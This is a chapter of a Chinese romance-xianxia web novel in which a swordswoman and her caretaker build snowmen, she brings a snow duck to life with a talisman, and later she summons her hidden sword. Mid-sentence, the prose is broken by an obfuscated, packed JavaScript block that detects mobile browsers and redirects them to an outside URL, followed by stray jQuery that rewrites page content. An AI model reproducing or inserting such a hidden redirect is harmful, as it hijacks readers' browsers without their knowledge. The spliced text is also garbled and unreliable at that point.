15.第十五章
作品:《始乱终弃夫君后长生了》 顾经年捧着雪鸭子的手一顿。
二人出来还没一刻,她怎么突然想进屋?
顾经年放下掌心的雪鸭子,问道:“叶姑娘可是冷了?”
叶秋绥摇头,素手覆上眼前人冻得通红又冰冷的手,道:“你手都冻僵了,再玩下去,会冻伤的。”
自己早已习惯山上冬日飞雪,寒冷刺骨的日子。
便是自己不穿棉衣,单是凭借自己多年修习积攒下的内力御寒,穿身夏日衣衫驻足风雪之中,都不会觉得寒冷。
可顾经年只是普通人,在外面呆得久了,恐会生病。
叶秋绥觉得,二人还是进屋的好。
自己提出来,他应当不会拒绝。
掌心的寒凉不在,叶秋绥听到身前人缓缓吐出一个字:“不。”
叶秋绥眉尾微垂,装出虚弱的模样,说话声音都浅了几分:“顾公子,我有些累了。”
“叶姑娘。”
雪鸭子随手被顾经年放在一旁,他捧了一捧手旁的雪,用力压实:“不要为了旁人,委屈了你自己。”
叶秋绥没有反驳。
顾经年手上滚着雪球,再次问道:“叶姑娘真想进屋?”
叶秋绥缄默。
顾经年继续道:“还望叶姑娘正视自己的内心,如实回答。”
“我……想玩雪。”
叶秋绥鼓起勇气,说出自己的想法,重新拿起鸭子模具,压出一只又一只雪鸭子。
焉地,她问道:“顾公子,你家里有没有画符用的黄纸和笔墨?”
他说过,他曾经临摹过符咒给李大娘。
想来家中会有剩余的黄纸。
顾经年搬起滚好的雪球,叠在另一个雪球上,漫不经心的问:“叶姑娘要做什么?”
叶秋绥神秘兮兮的开口:“给你看个好玩的。”
顾经年没在追问,前去厢房的抽屉中取了一张黄纸,与一杆沾了墨水的毛笔。
他进屋取黄纸的这点空当,一道黑影从屋中窜出,一头扎进雪地里,留下个狐狸形状的雪坑。
雪花四溅,落了叶秋绥满身。
她掸落身上的落雪,咯咯笑道:“今日怎么不在被子里睡懒觉了?”
小白泽探出脑袋,甩了两下,像小狗似的对着叶秋绥咧嘴,扑向她怀中。
却在身子飞到半空之时,被人一把拎住后脖颈。
“没轻没重。”
顾经年将小白泽放到叶秋绥腿上,顺势递给她黄纸:“伤了叶姑娘,我不会放过你。”
小白泽缩在叶秋绥身前,对着顾经年嘁了下鼻子,以表自己的不满。
叶秋绥接过符纸,顺了下小白泽的脑袋,打趣道:“听到没?我可是有靠山的!你若是碰伤我,顾公子第一个不会放过你!”
小白泽委屈巴巴的望向叶秋绥,好像再说:“你怎么帮着他说话!”
叶秋绥笑笑,左手拿着符纸,右手握紧笔杆,染了黑色墨水的笔尖点落在纸上,行云流水的划过黄纸。
叶秋绥捧起脚边的雪鸭子,用绘制好的符纸裹住鸭身。黄符一闪,与雪鸭子融为一体。
“顾公子!”叶秋绥眉眼弯弯,捧着雪鸭子的手向前送了一下。
顾经年蹲在她身前,双手接过雪鸭子,寒凉顺着掌心蔓延。
掌心的雪鸭子动了一动,呼扇着翅膀,对着顾经年发出一声“嘎”。
窝在叶秋绥腿上的小白泽仰起脖子,对着顾经年手中的雪鸭子闻了又闻。
顾经年眉尾上挑,惊讶道:“叶姑娘不愧是剑仙,竟能让死物变成活物。”
叶秋绥不太适应他的夸赞,脸颊覆上一抹薄红:“师父和师姐哄我玩的小把戏,只能玩两刻。”
“挺有意思的。”
嘎嘎叫的雪鸭子被顾经年放到雪地上,它生出两只雪做的脚,围着顾经年打转。
小白泽第一次见如此新奇的东西,从叶秋绥的腿上跳下,跟在雪鸭子后面,随它一同围着顾经年转圈,像是在举行神秘的仪式。
顾经年:“……它只会围着我跑吗?”
叶秋绥尴尬的点了下头。
她没好意思说:方才符咒上写的是顾经年的名字,所以在这只鸭子停下来前,它只会跟着顾经年。
“我很喜欢。”
顾经年扬了下嘴角,原本暗如深渊的眼瞳此刻竟然化作一汪春水,抚平着叶秋绥的局促。
叶秋绥脸上露出欢快的笑:“喜欢就好!”
顾经年回了她一抹温笑。
正午的光晕洒在顾经年肩头,勾勒出他身上隐隐透出的清隽。
叶秋绥的心跳突然加速,咚咚咚的,比她练完一上午剑法后还要快。
她抚摸着自己的心口,用力按住不受自己控制,几乎要跳出胸膛的心脏。
脸颊像是有火在烧,脑袋竟有些发晕。
叶秋绥不懂自己这是怎么了。
但她能肯定:自己没有生病。
她捂住自己火烧似的脸颊,望向顾经年。
顾经年继续堆着只完成了一半的雪人,小白泽依旧追着雪鸭子,围着他跑来跑去。
谁都没有发现她的奇怪。
叶秋绥松了口气,放下手,继续用模具复刻着小鸭子。
叶秋绥玩的欢快,没察觉顾经年的余光掠过她泛红又带着几分羞怯的面庞。
不多时,顾经年手中的雪人便堆好了,叶秋绥面前也多了三排整整齐齐的雪鸭子。
“叶姑娘。”顾经年指着雪鸭子道,“方便借我几只不动的雪鸭子吗?”
“顾公子尽管拿便是。”
说话间,叶秋绥又拿出来几只崭新的雪鸭子:“不够还有!”
顾经年取过叶秋绥身前的雪鸭子,围着雪人周围,一只接一只的摆放整齐。
小白泽追着雪鸭子玩得正欢,眼前的鸭子突然被一只骨节分明的手抓走。
正在奔跑的小白泽戛然而止。
它不满地用沾着雪的爪子,不客气地踩了顾经年一脚,在他鞋子上留下一朵雪做的梅花。
顾经年睨了小白泽一眼,哂笑一声。
小白泽顿时毛发朝天,跑向叶秋绥,跳进她的怀里缩了起来。
叶秋绥顺着小白泽炸起的毛,柔声道:“顾公子不过是笑了一下,你怎么怕成这样?”
小白泽对着把嘎嘎叫的雪鸭子,放到雪人头顶的顾经年嗤鼻。
“别以为躲在叶姑娘怀里,我便不会拿你怎样。”
顾经年满意的看着自己的杰作,来到叶秋绥面前询问:“要再玩一会儿吗?”
叶秋绥瞄了眼他已经有些冻得发肿的手,摇头:“进屋吧,明日在玩。”
她伸手去摸放在一旁的拐杖,反被顾经年俯身抱在身前。
叶秋绥的双臂下意识环上他的颈间,原本窝在她怀中的小白泽见状,跳到顾经年的肩头,得意哼了一声,大有“叶姑娘喜欢我,你不能拿我怎样”的意思。
叶秋绥紧张道:“我自己可以走。”
“你腿伤未愈,少动为好。”顾经年抱着她稳步走回屋中,“等你腿上伤好的差不多,你在院中跑我都不会拦着你。”
叶秋绥悄声嘟囔道:“我才不信呢,到时候你肯定又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137278|194557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有新的说辞。”
“叶姑娘在说什么?”
顾经年低沉的声音自头顶落下,叶秋绥忙道:“没说什么,只是觉得顾公子很贴心。”
说罢,她试着放松自己,往顾经年的肩头靠了靠,生怕被他发现自己是在搪塞他。
强劲有力的心跳声透过层层衣衫,传入叶秋绥的耳中。
有那么一瞬,她好像听到顾经年的心跳声顿了一顿。
许是太冷了冻得吧。
叶秋绥这样想。
二人进了屋,顾经年把叶秋绥放到榻上,给火盆中换了新的硬木炭。
他靠近炭火盆而坐,直到冻得发僵的双手渐渐恢复知觉,他起身前去准备今日的吃食。
“你。”顾经年对躺在被子上的小白泽,命令道,“过来给我添柴烧火。”
小白泽不情不愿的缩到被子里,一副“你有本事过来抓我”的模样。
叶秋绥汗颜,道:“顾公子,它怎么说都是灵兽。要不,我帮你添柴吧。”
他真把灵兽当成狗了啊。
“随口一说。”顾经年头也不回地出了屋,“叶姑娘不要当真。”
叶秋绥歪头,不禁怀疑:他……又生气了?
——
待到路上的积雪化得七七八八,顾经年便准备搭乘阿贵的驴车去镇上。
出门前,他本是想麻烦阿莹过来照顾叶秋绥,反被叶秋绥一口拒绝:“我现在有力气走路,不用麻烦阿莹姑娘。快过年了,她肯定也有事情要忙。”
顾经年没多说什么,只是叮嘱一句:“在家等我,我很快就会回来。”
叶秋绥“嗯”了一声,躺在摇椅上,目送着他离开。
叶秋绥在摇椅上躺了一会儿,觉得有些无趣,便取了拐杖去到院中。
她起身时,小白泽前来,挡在她脚前,拦住她的去路。
叶秋绥耐下性子解释:“我就在院中走走,不出去。”
小白泽摇头,不肯让开。
“好啦,在屋中等我。”
叶秋绥学着顾经年的模样,附身抓住小白泽的后颈,将它放到摇椅上,自己则蹭着脚,一点点出了屋。
那日堆得雪人还完整地伫立在院中,但围在雪人身旁的雪鸭子已经化的看不出原本的模样,多余的积雪也都被顾经年清理干净。
院子又恢复了以往的整洁。
一双眼瞳落在雪人后面的木门上。
叶秋绥缓步走向厢房,来到门前,深吸一口气,一把推开。
自己受了伤以后,就没再看到过澄心剑。
她清楚,肯定是顾经年怕自己胡来,把剑收起来了。
但没有澄心剑,她心中实在不踏实。
双眸扫视一圈,没有发现澄心剑的影子。
叶秋绥眉头拧成一团,踏入厢房寻找自己的配剑。
她寻了半晌,翻到自己额头细汗密布,腿上站不安稳,甚至连柜子后面的缝隙都翻了个遍,半点长剑的影子都没看到。
是不是顾经年把自己的澄心剑放在了别的地方?
“旧燕归巢,来。”
叶秋绥低声念诀,召唤不见踪影的澄心剑。
“哗啦——”
院中响起木头滚落在地的声响,一道寒芒冲进厢房,停在叶秋绥面前。
动静大得小白泽飞似的从屋中窜了出来,挡在她脚前。
叶秋绥眼皮一跳:自己好像又闯祸了!
不会又把他家的篱笆门弄坏了吧?!
叶秋绥心中百转千回之际,门外响起熟悉的声音。
“你在做什么?”

